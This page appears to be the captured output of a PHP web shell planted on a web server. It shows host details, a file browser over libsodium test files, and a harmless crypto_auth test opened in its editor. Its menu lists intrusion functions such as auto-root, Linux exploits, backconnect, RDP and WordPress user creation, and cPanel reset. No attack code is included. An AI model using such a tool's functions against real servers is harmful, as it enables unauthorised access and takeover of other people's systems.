Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
src /
libsodium-2.0.23 /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
crypto_aead.phpt
6.66
KB
-rw-r--r--
crypto_auth.phpt
1.09
KB
-rw-r--r--
crypto_box.phpt
5.09
KB
-rw-r--r--
crypto_generichash.phpt
2.86
KB
-rw-r--r--
crypto_hex.phpt
426
B
-rw-r--r--
crypto_kdf.phpt
1.48
KB
-rw-r--r--
crypto_kx.phpt
1.58
KB
-rw-r--r--
crypto_scalarmult.phpt
582
B
-rw-r--r--
crypto_secretbox.phpt
613
B
-rw-r--r--
crypto_secretstream.phpt
1.98
KB
-rw-r--r--
crypto_shorthash.phpt
607
B
-rw-r--r--
crypto_sign.phpt
2.88
KB
-rw-r--r--
crypto_stream.phpt
1.16
KB
-rw-r--r--
exception_trace_without_args.p...
421
B
-rw-r--r--
inc_add.phpt
909
B
-rw-r--r--
installed.phpt
554
B
-rw-r--r--
pwhash_argon2i.phpt
1.52
KB
-rw-r--r--
utils.phpt
3.45
KB
-rw-r--r--
version.phpt
284
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : crypto_auth.phpt
--TEST-- Check for libsodium auth --SKIPIF-- <?php if (!extension_loaded("sodium")) print "skip"; ?> --FILE-- <?php $msg = random_bytes(1000); $key = sodium_crypto_auth_keygen(); $mac = sodium_crypto_auth($msg, $key); // This should validate var_dump(sodium_crypto_auth_verify($mac, $msg, $key)); $bad_key = random_bytes(SODIUM_CRYPTO_AUTH_KEYBYTES - 1); try { $mac = sodium_crypto_auth($msg, $bad_key); echo 'Fail!', PHP_EOL; } catch (SodiumException $ex) { echo $ex->getMessage(), PHP_EOL; } // Flip the first bit $badmsg = $msg; $badmsg[0] = \chr(\ord($badmsg[0]) ^ 0x80); var_dump(sodium_crypto_auth_verify($mac, $badmsg, $key)); // Let's flip a bit pseudo-randomly $badmsg = $msg; $badmsg[$i=mt_rand(0, 999)] = \chr( \ord($msg[$i]) ^ ( 1 << mt_rand(0, 7) ) ); var_dump(sodium_crypto_auth_verify($mac, $badmsg, $key)); // Now let's change a bit in the MAC $badmac = $mac; $badmac[0] = \chr(\ord($badmac[0]) ^ 0x80); var_dump(sodium_crypto_auth_verify($badmac, $msg, $key)); ?> --EXPECT-- bool(true) key must be SODIUM_CRYPTO_AUTH_KEYBYTES bytes bool(false) bool(false) bool(false)
Close